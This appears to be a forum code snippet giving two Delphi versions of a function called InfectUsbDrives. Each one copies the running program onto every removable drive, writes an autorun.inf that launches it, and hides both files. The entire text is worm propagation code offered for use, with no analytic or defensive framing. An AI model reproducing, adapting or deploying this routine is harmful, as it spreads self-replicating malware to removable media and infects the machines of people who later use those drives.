function InfectUsbDrives(ExeName:string):integer; var Drives: array[0..128] of char; xDrive: PChar; myFile: TextFile; begin Result := 0; GetLogicalDriveStrings(SizeOf(Drives), Drives); xDrive := Drives; while xDrive^ <> #0 do begin if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then begin try CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False); AssignFile(myFile, xDrive+':\autorun.inf'); if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile) else Append(myFile); WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName); CloseFile(myFile); SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN); Result := Result + 1; except end; end; Inc(xDrive, 4); end; end; 复制内容到剪贴板代码:
function InfectUsbDrives(ExeName:string):integer; var Drive: Char; myFile: TextFile; begin Result := 0; for Drive := 'A' to 'Z' do begin if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then begin try if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then begin CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False); AssignFile(myFile, Drive+':\autorun.inf'); if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile) else Append(myFile); WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName); CloseFile(myFile); SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN); Result := Result + 1; end; except end; end; end; end;